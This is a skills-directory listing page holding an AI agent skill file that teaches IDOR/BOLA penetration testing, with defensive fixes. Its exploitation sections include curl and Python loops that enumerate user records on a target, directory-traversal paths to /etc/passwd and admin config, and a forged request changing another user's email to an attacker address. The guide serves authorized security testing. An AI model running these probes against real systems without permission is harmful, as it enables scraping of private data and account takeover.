Skip to content
Back to skills

Idor Testing

BSecurity

IDOR/BOLA: two-account proof, read vs write, ID enumeration

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
securitypythonphpbashtestingapi

Works with

  • cli
  • api
  • mcp

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill idor-testing --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Idor Testing?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Idor Testing
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-idor-testing/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-idor-testing)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: idor-testing
description: "IDOR/BOLA: two-account proof, read vs write, ID enumeration"
version: 1.0.0
mcps: autopen, pentest mcp, browser
---

# IDOR (Insecure Direct Object Reference) Testing

## Overview

IDOR (Insecure Direct Object Reference) is an access-control vulnerability that occurs when an application uses user-supplied input to access a resource directly without verifying that the user is authorized to access that resource. This skill provides methods for detecting, exploiting, and defending against IDOR vulnerabilities.

## Vulnerability Principle

The application uses predictable identifiers (such as IDs or filenames) to reference resources directly, without verifying that the current user has permission to access the resource.

**Dangerous code example:**
```php
// Directly using the user-supplied ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');
```

## Testing Methods

### 1. Identify Direct Object References

**Common resource types:**
- User ID
- File ID / filename
- Order ID
- Document ID
- Account ID
- Record ID

**Common locations:**
- URL parameters
- POST data
- Cookie values
- HTTP headers
- File paths

### 2. Enumeration Testing

**Sequential ID testing:**
```
/user?id=1
/user?id=2
/user?id=3
```

**UUID testing:**
```
/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001
```

**Filename testing:**
```
/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf
```

### 3. Horizontal Privilege Testing

**Accessing other users' resources:**
```
Current user ID: 100
Test: /user?id=101
Test: /user?id=102
```

**Accessing other users' files:**
```
/files/user100_document.pdf
Test: /files/user101_document.pdf
```

### 4. Vertical Privilege Testing

**Regular user accessing administrator resources:**
```
/admin/users?id=1
/admin/settings
/admin/logs
```

## Exploitation Techniques

### User Information Disclosure

**Enumerating user profiles:**
```bash
# Sequential enumeration
for i in {1..1000}; do
  curl "https://target.com/user?id=$i"
done

# Observe differences in responses
```

### File Access

**Accessing other users' files:**
```
/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf
```

**Combined with directory traversal:**
```
/files/../admin/config.php
/files/../../etc/passwd
```

### Data Modification

**Modifying other users' data:**
```http
POST /api/user/update
Content-Type: application/json

{
  "id": 101,
  "email": "attacker@evil.com"
}
```

### Bulk Operations

**Bulk data retrieval:**
```python
import requests

for user_id in range(1, 1000):
    response = requests.get(f'https://target.com/api/user/{user_id}')
    if response.status_code == 200:
        print(f"User {user_id}: {response.json()}")
```

## Bypass Techniques

### ID Obfuscation

**Base64 encoding:**
```
Original ID: 123
Encoded: MTIz
URL: /user?id=MTIz
```

**Hash values:**
```
Original ID: 123
Hash: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70
```

### Parameter Name Obfuscation

**Using different parameter names:**
```
/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123
```

### HTTP Method Bypass

**Trying different HTTP methods:**
```
GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123
```

### Path Obfuscation

**Trying different paths:**
```
/api/v1/user/123
/api/user/123
/user/123
/users/123
```

## Tool Usage

### Burp Suite

**Using Intruder:**
1. Intercept the request
2. Send it to Intruder
3. Mark the ID parameter
4. Use a numeric sequence or a custom list
5. Observe differences in responses

**Using Repeater:**
1. Manually modify the ID
2. Test different values
3. Observe the responses

### OWASP ZAP

```bash
# Use ZAP to perform an IDOR scan
zap-cli active-scan --scanners all http://target.com
```

### Python Script

```python
import requests
import json

def test_idor(base_url, user_id_range):
    for user_id in user_id_range:
        url = f"{base_url}/user?id={user_id}"
        response = requests.get(url)
        
        if response.status_code == 200:
            data = response.json()
            print(f"User {user_id}: {data.get('email', 'N/A')}")

test_idor("https://target.com", range(1, 100))
```

## Verification and Reporting

### Verification Steps

1. Confirm that unauthorized resources can be accessed
2. Verify that other users' data can be read, modified, or deleted
3. Assess the impact (data leakage, privacy violation, etc.)
4. Document the complete PoC
5. Record the confirmed vulnerability in the platform via the `report_finding` tool (the sole entry point for recording vulnerabilities on this platform), with fields covering location, type, severity, reproduction steps / PoC, and remediation advice

### Reporting Key Points

- Vulnerability location and resource identifier
- Accessible unauthorized resources
- Complete exploitation steps and PoC
- Remediation advice (access control, resource mapping, etc.)

## Defensive Measures

### Recommended Solutions

1. **Access Control Verification**
   ```python
   def get_user_data(user_id, current_user_id):
       # Verify permission
       if user_id != current_user_id:
           raise PermissionDenied("Cannot access other user's data")
       
       # Return data
       return db.get_user(user_id)
   ```

2. **Indirect Object References**
   ```python
   # Use a mapping table
   user_mapping = {
       'abc123': 100,
       'def456': 101,
       'ghi789': 102
   }
   
   def get_user(mapped_id):
       real_id = user_mapping.get(mapped_id)
       if not real_id:
           raise NotFound()
       return db.get_user(real_id)
   ```

3. **Role-Based Access Control**
   ```python
   def check_permission(user, resource):
       if user.role == 'admin':
           return True
       if resource.owner_id == user.id:
           return True
       return False
   ```

4. **Resource Ownership Verification**
   ```python
   def update_user_data(user_id, data, current_user):
       user = db.get_user(user_id)
       
       # Verify ownership
       if user.id != current_user.id and current_user.role != 'admin':
           raise PermissionDenied()
       
       # Update data
       db.update_user(user_id, data)
   ```

5. **Use Unpredictable Identifiers**
   ```python
   import uuid
   
   # Use a UUID instead of a sequential ID
   resource_id = str(uuid.uuid4())
   ```

6. **Principle of Least Privilege**
   - Only return data the user is authorized to access
   - Use data filtering
   - Restrict the scope of accessible resources

## Notes

- Only perform this in an authorized testing environment
- Avoid accessing or modifying real user data
- Be aware of differences in access control across different resources
- Watch the request rate during testing to avoid triggering protections

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.